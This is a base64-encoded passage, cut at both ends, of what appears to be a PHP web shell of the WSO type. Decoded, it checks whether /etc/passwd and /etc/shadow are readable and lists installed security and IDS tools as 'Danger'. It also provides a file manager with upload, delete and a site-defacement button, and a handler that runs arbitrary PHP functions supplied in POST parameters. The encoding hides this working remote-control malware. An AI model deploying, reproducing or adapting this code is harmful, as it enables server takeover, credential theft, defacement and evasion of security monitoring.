Xhpc3RzKCJzY2FuZGlyIikpIHsKZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7CiRkaD0gb3BlbmRpcigkZGlyKTsKd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgewokZmlsZXNbXSA9ICRmaWxlbmFtZTsKfQpyZXR1cm4gJGZpbGVzOwp9Cn0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsKcHJpbnRIZWFkZXIoKTsKZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+
PGRpdiBjbGFzcz1jb250ZW50Pic7CmZ1bmN0aW9uIHNob3dTZWNQYXJhbSgkbiwgJHYpIHsKJHYgPSB0cmltKCR2KTsKaWYoJHYpIHsKZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JzsKaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCmVjaG8gJHYuJzxicj4nOwplbHNlCmVjaG8gJzxwcmUgY2xhc3M9bWwxPicuJHYuJzwvcHJlPic7Cn0KfQpzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnY
oJ1NFUlZFUl9TT0ZUV0FSRScpKTsKc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwpzaG93U2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOwpzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX2
1vZGVfZXhlY19kaXInKSk7CnNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKc2hvd1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsKJHRlbXA9YXJyYXkoKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQokdGVtcFtdID0gIk1TU1FMIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCiR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKJHRlbXBbXSA9ICJPcmFjbGUiOwpzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CmVjaG8gJzxicj4nOwppZiggJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKSB7CiR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwokZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsKJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CnNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsKc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwpzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwppZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7CmVjaG8gJzxicj4nOwokdGVtcD1hcnJheSgpOwpmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkKaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30Kc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiR0ZW1wPWFycmF5KCk7CmZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pCmlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CnNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiR0ZW1wPWFycmF5KCk7CmZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgCmlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CnNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKZWNobyAnPGJyLz4nOwpzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwpzaG93U2VjUGFyYW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsKc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwp9Cn0gZWxzZSB7CnNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsgCnNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsZXgoJ25ldCBhY2NvdW50cycpKTsgCnNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsZXgoJ25ldCB1c2VyJykpOwp9CmVjaG8gJzwvZGl2Pic7CnByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXSE9J2RlZmFjZScpIHsKc3dpdGNoKCRfUE9TVFsncDEnXSkgewpjYXNlICd1cGxvYWRGaWxlJzoKaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpCmVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7CmJyZWFrOwpicmVhazsKY2FzZSAnbWtkaXInOgppZighQG1rZGlyKCRfUE9TVFsncDInXSkpCmVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKYnJlYWs7CmNhc2UgJ2RlbGV0ZSc6CmZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewokcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOwokZGg9IG9wZW5kaXIoJHBhdGgpOwp3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgewokaXRlbSA9ICRwYXRoLiRpdGVtOwppZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkKY29udGludWU7CiR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwppZiAoJHR5cGUgPT0gImRpciIpCmRlbGV0ZURpcigkaXRlbSk7CmVsc2UKQHVubGluaygkaXRlbSk7Cn0KY2xvc2VkaXIoJGRoKTsKcm1kaXIoJHBhdGgpOwp9CmlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCmZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsKJGYgPSB1cmxkZWNvZGUoJGYpOwppZihpc19kaXIoJGYpKQpkZWxldGVEaXIoJGYpOwplbHNlCkB1bmxpbmsoJGYpOwp9CmJyZWFrOwpjYXNlICdwYXN0ZSc6CmlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7CmZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewppZihpc19kaXIoJGMuJHMpKXsKbWtkaXIoJGQuJHMpOwokaCA9IG9wZW5kaXIoJGMuJHMpOwp3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7Cn0KfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKQGNvcHkoJGMuJHMsICRkLiRzKTsKfQp9CmZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCmNvcHlfcGFzdGUoJF9TRVNTSU9OWydjd2QnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsKfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsKZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CmlmKGlzX2RpcigkYy4kcykpewpta2RpcigkZC4kcyk7CiRoID0gb3BlbmRpcigkYy4kcyk7CndoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQppZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfQp9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgewpAY29weSgkYy4kcywgJGQuJHMpOwp9Cn0KZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKQHJlbmFtZSgkX1NFU1NJT05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOwp9CnVuc2V0KCRfU0VTU0lPTlsnZiddKTsKYnJlYWs7CmRlZmF1bHQ6CmlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICgoJF9QT1NUWydwMSddID09ICdjb3B5Jyl8fCgkX1BPU1RbJ3AxJ10gPT0gJ21vdmUnKSkgKSB7CiRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOwokX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsKZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikKJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZGVjb2RlKCRmKTsKJF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsKfQpicmVhazsKfQplY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVlPSIiOzwvc2NyaXB0Pic7Cn0KJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7ZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsgcmV0dXJuO30KZ2xvYmFsICRzb3J0Owokc29ydCA9IGFycmF5KCduYW1lJywgMSk7CmlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CmlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQokc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwp9CmVjaG8gJzxzY3JpcHQ+CmZ1bmN0aW9uIHNhKCkgewpmb3IoaT0wO2k8ZG9jdW1lbnQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKaWYoZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSBcJ2NoZWNrYm94XCcpCmRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkb2N1bWVudC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwp9Cjwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9XCcxMDAlXCcgY2xhc3M9XCdtYWluXCcgY2VsbHNwYWNpbmc9XCcwXCcgY2VsbHBhZGRpbmc9XCcyXCc+Cjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+JzsKZWNobyAiPHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXkoKTsKJG4gPSBjb3VudCgkZGlyQ29udGVudCk7CmZvcigkaT0wOyRpPCRuOyRpKyspIHsKJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CiRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwokdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwKICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAogJ21vZGlmeScgPT4gQGRhdGUoJ1ktbS1kIEg6aTpzJyxAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKSwKICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCiAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCiAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQopOwppZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkKJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7CmVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkKJGxpbmtzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnKSk7CmVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQokZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7Cn0KJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwpmdW5jdGlvbiBjbXAoJGEsICRiKSB7CmlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQpyZXR1cm4gc3RyY21wKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dLCAkYlskR0xPQkFMU1snc29ydCddWzBdXSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CmVsc2UKcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKfQp1c29ydCgkZmlsZXMsICJjbXAiKTsKdXNvcnQoJGRpcnMsICJjbXAiKTsKdXNvcnQoJGxpbmtzLCAiY21wIik7CiRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkbGlua3MsICRmaWxlcyk7CiRsID0gMDsKZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsKZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiPjxiPlsgJy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pLicgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQouJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOwokbCA9ICRsPzA6MTsKfQplY2hvICc8dHI+PHRkIGNvbHNwYW49NT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1cJ0ZpbGVzTWFuXCc+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgo8c2VsZWN0IG5hbWU9XCdwMVwnPjxvcHRpb24gdmFsdWU9XCdjb3B5XCc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdtb3ZlXCc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdkZWxldGVcJz5EZWxldGU8L29wdGlvbj4nOwppZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkmJkBjb3VudCgkX1NFU1NJT05bJ2YnXSkpe2VjaG8gJzxvcHRpb24gdmFsdWU9XCdwYXN0ZVwnPlBhc3RlPC9vcHRpb24+JzsgfQplY2hvICc8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iPjwvdGQ+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJyaWdodCIgd2lkdGg9IjEiPjxpbnB1dCBuYW1lPSJkZWYiIGlkPSJkZWYiIHZhbHVlPSJpbmRleC5waHAiIHNpemU9IjEwIi8+Jm5ic3A7PGlucHV0IHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nXCcsXCdkZWZhY2VcJyxkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2RlZlwnKS52YWx1ZSkiIHZhbHVlPSJBZGQgeW91ciBEZWZhY2UiPjwvdGQ+PC90cj4KPC9mb3JtPjwvdGFibGU+PC9kaXY+JzsKcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IGRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CmlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewokX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7Cm9iX3N0YXJ0KCk7CmlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQplY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwokdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsKZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKZXhpdDsKfQpwcmludEhlYWRlcigpOwplY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKJHN0cmluZ1Rvb2xzID0gYXJyYXkoCidCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsCidCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCidVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLAonRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCidtZDUgaGFzaCcgPT4gJ21kNScsCidzaGExIGhhc2gnID0+ICdzaGExJywKJ2NyeXB0JyA9PiAnY3J5cHQnLAonQ1JDMzInID0+ICdjcmMzMicsCidBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLAonSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAonSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAonREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCidERUMgdG8gQklOJyA9PiAnZGVjYmluJywKJ0JJTiB0byBIRVgnID0+ICdiaW4yaGV4JywKJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLAonU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywKJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsCidIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCidTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywKKTsKaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7CmZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQplY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CmVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcD